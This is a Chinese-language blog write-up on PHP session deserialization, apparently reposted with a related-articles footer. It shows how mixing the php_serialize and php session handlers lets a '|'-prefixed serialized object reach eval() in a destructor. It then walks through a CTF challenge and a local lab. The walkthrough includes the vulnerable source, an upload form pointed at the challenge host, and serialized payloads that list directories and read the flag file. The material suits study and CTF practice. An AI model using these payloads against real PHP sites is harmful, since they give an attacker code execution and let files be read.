PHP反序列化与Session
0x00前言:
php存储session有三种模式,php_serialize, php, binary
这里着重讨论php_serialize和php的不合理使用导致的安全问题
关于session的存储,java是将用户的session存入内存中,而php则是将session以文件的形式存储在服务器某个tmp文件中,可以在php.ini里面设置session.save_path存储的位置

设置序列化规则则是

注意,php_serialize在5.5版本后新加的一种规则,5.4及之前版本,如果设置成php_serialize会报错
session.serialize_handler = php 一直都在 它是用 |分割
session.serialize_handler = php_serialize 5.5之后启用 它是用serialize反序列化格式分割
首先看session.serialize_handler = php序列化的结果

它的规则是$_SESSION是个数组,数组中的键和值中间用 | 来分割,值如果是数组或对象按照序列化的格式存储
然后看看session.serialize_handler = php_serialize的序列化结果

它是全程按照serialize的格式序列化了$_SESSION这个数组
它比php的格式多了个最前面多了个 "a:2:{ ...." 也就是$_SESSION这个数组有2个元素,还有个区别在于,它的键名也表明了长度和属性,中间用 ; 来隔开键值对
虽然2个序列化格式本身没有问题,但是如果2个混合起用就会造成危害
形成原理是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时 "|"会被当成键值对的分隔符
比如,我先用php存了个数组,在$_SESSION['b']的值里面加入 | ,并在之后写成一个数组的序列化格式

如果正常的用php_serialize解析,它返回的是$_SESSION['b']是个长度为44的字符串

如果用php进行解析,发现它理解为一个很长的名字的值是一个带了2个元素的数组


0x01一道CTF题目:
题目是道网上常常拿来做例子的一道php反序列化题目
题目连接:http://web.jarvisoj.com:32784/
源码已经给出,如下
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
} function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
能够查看phpinfo,于是发现全局用的php_serialize进行序列化,而这个页面是以php来进行解析的

那么可以利用上面的理论进行事先准备个$this->mdzz= 'payload' 进行攻击
问题是怎么将payload写入session,这里php有个上传文件的会将文件名写入session的技巧
https://bugs.php.net/bug.php?id=71101
原文意思大致要求满足以下2个条件就会写入到session中
session.upload_progress.enabled = On
上传一个字段的属性名和session.upload_progress.name的值相,这里根据上面的phpinfo信息看得出,值为PHP_SESSION_UPLOAD_PROGRESS,即
name="PHP_SESSION_UPLOAD_PROGRESS"
写好脚本
<html>
<head>
<title>upload</title>
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body> </html>
注意这里 "PHP_SESSION_UPLOAD_PROGRESS" 的 value不能为空
这里根据题目的类,需要修改mdzz这个属性,于是写个php生成payload,因为看看phpinfo的禁用函数,能调用系统的函数都被ban了,于是只能用var_dump,scandir和file_get_contents来读取flag
<?php
class OowoO
{
public $mdzz = "var_dump(scandir('./'));"; function __destruct()
{
eval($this->mdzz);
}
}
$a = new OowoO();
echo serialize($a) . "<br>";
?>
生成payload
O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}
当然这个是不行的,我们要稍微改一下,"要转义,前面加个|
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:24:\"var_dump(scandir('./'));\";}
先随便传个文件,把包抓下来,把文件名改成我们的payload

能够查看到根目录的情况了
网上有个payload是直接用
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
我因为太菜最先没想到,于是去看了下phpinfo的session的存放位置,有个/opt/lampp/估计是装的的xampp这个集成的环境,而这个集成环境的web页面放在htdocs目录下的
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"var_dump(scandir('/opt/lampp/'));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir('/opt/lampp/htdocs/'));\";}
看到flag文件了

接下来是读取,这里额外提一句file_put_contents和fie_get_contents能够使用php://filter伪协议,但这里用var_dump导出来,不是文件包含,看下源码就能找打答案
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";}

0x03环境复现:
因为最先学习这道题的时候想看看session文件,于是在本地搭建了个环境
<?php
ini_set('session.serialize_handler', 'php'); session_start();
var_dump($_SESSION);
echo "<br>";
class test
{
public $wd;
function __destruct()
{
eval($this->wd);
}
}
?>
最先我用一个文件直接生产用php_serialize规则序列化并直接存在session中

然后访问模拟搭建的页面,漏洞能够利用成功

于是我改用文件上传的形式,结果死活没法生成正确的session

再看看session文件,啥都没写入

这是为什么,想了一晚上,看了看phpinfo的信息,上传保留session的enabled是默认开启的,session.upload_progress.name也是默认

上传的html页面能在上面的ctf题中成功运行,说明不是上传的请求头格式问题
payload如果写入session文件中也能正常触发phpinfo
但是现在的问题是session写不进去,于是估计是配置问题了。
我再读了遍:https://bugs.php.net/bug.php?id=71101
发现它给出它的运行环境的配置,于是我按照它的ini对应的配置,再配了遍自己的php.ini,发现很多配置都是被注释掉的,也就是默认的值
最后成功执行了

session文件也写入了,可以仔细看看写的session文件内容

因为用php解析了,为了使解析格式正确,它直接丢掉了些 },如果正常解析的话,可以看出多了很多键值对,但是正是因为用php解析, |前面的所有字符都当做键名,而后面的payload则被反序列化,造成漏洞利用

再回到为什么之前不行,现在可以运行的问题上,最后我测试了是 session.upload_progress.cleanup这个参数
session.upload_progress.cleanup = Off
这个要为Off或者0,才能将上传的内容保存到session,但是,php默认的是On,所有最先死活传不上去
PHP反序列化与Session的更多相关文章
- tomcat session漏洞反序列化详解
1. 条件1)攻击者可以控制服务器上的文件名/文件内容2)tomcat context配置了persistencemanager的fileSotre3) persistenceManager 配置了s ...
- web中session与序列化的问题
最近在写网上商城项目的时候学习了一个关于session的序列化问题,过来总结一下. 众所周知,session是服务器端的一种会话技术,只要session没有关闭,一个会话就会保持.这里先引出一个问题: ...
- Tomcat - 持久化 Session
Session 是保存在内存中的,如果服务器重启.宕机的话,Session 就会丢失.有时候,我们需要对 Session 持久化以应对意外的情况发生.例如,客户端与服务器在交互过程中,可能因为 Ses ...
- Session 的原理及最佳实践
Http协议是基于请求和响应的一种无状态的协议,而通过session可以使得Http应用变得有状态,即可以"记住"客户端的信息.今天就来说说这个session和cookie. Se ...
- Spring Session实现Session共享下的坑与建议
相信用过spring-session做session共享的朋友都很喜欢它的精巧易用-不依赖具体web容器.不需要修改已成项目的代码.笔者在使用spring-session的过程中也对spring-se ...
- 解析 PHP 中 session 的实现原理以及大网站应用应该注意的问题
一 PHP SESSION原理 session 是在服务器端保持用户会话数据的一种方法,而 cookie 是在客户端保持用户数据.HTTP 协议是一种无状态协议,服务器响应完之后就失去了与浏览器的联系 ...
- CTF PHP反序列化
目录 php反序列化 一.序列化 二.魔术方法 1.构造函数和析构函数 2.__sleep()和__wakeup() 3.__toString() 4.__set(), __get(), __isse ...
- 【Spring】Spring-Session-Data-Redis实现session共享
前言 在开发中遇到一个关于用户体验的问题,每次当运维进行更新重启服务器时,都会导致会员平台中已登录的用户掉线.这是因为每个用户的会话信息及状态都是由session来保存的,而session对象是由服务 ...
- PHP 反序列化漏洞入门学习笔记
参考文章: PHP反序列化漏洞入门 easy_serialize_php wp 实战经验丨PHP反序列化漏洞总结 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 利用 pha ...
随机推荐
- Confluence 6 编辑和删除用户宏
编辑一个用户宏 希望对一个用户宏进行编辑: 进入 > 基本配置(General Configuration) > 用户宏(User Macros) 在相关的宏的边上,单击 编辑(Edit ...
- mvc 模式和mtc 模式的区别
首先说说Web服务器开发领域里著名的MVC模式,所谓MVC就是把Web应用分为模型(M),控制器(C)和视图(V)三层,他们之间以一种插件式的.松耦合的方式连接在一起,模型负责业务对象与数据库的映射( ...
- 微信小程序简单介绍 一
一 组件及api网址: 组件 :https://developers.weixin.qq.com/miniprogram/dev/component/view.html api:https://dev ...
- Executor多线程框架使用
在我们的JDK1.5的时候JAVA推出一款为了更加方便开发的多线程应用而封装的框架(Executor),相比传统的Thread类,Executor更加的方便,性能好,更易于管理,而且支持线程池.一般在 ...
- python(9): GUI
实例1: 对输入的所有数字求和, 最后以. 结束输入 def fun(): list1=[] print('input a number:') while True: num=input() if n ...
- poj2417 bsgs算法非逆元模板,用于求解A^x=B(mod C)的方程
参考博客 https://blog.csdn.net/clover_hxy/article/details/50683832关于欧拉定理推论的证明 https://www.cnblogs.com/as ...
- Vue 添加外部的时间插件不触发v-model事件更改数据
使用的jquery日期插件 最终问题是 在选择完成日期后并未激活 oninput事件,所以也没有激活v-model 去改变date 解决思路: 去插件js文件中,在赋值给dom的时候添加模拟输入事件便 ...
- epoll函数
函数epoll 1. 函数epoll_creat: 该函数生成一个epoll专用的文件描述符 int epoll_creae(int size); 分析: size:epoll上能关注的最大描述符数 ...
- [转] node.js下mongoose简单操作实例
Mongoose API : http://mongoosejs.com/docs/api.html // mongoose 链接 var mongoose = require('mongoose') ...
- Google搜索
https://www.google.com/intl/br/insidesearch/tipstricks/all.html 如何用好谷歌等搜索引擎?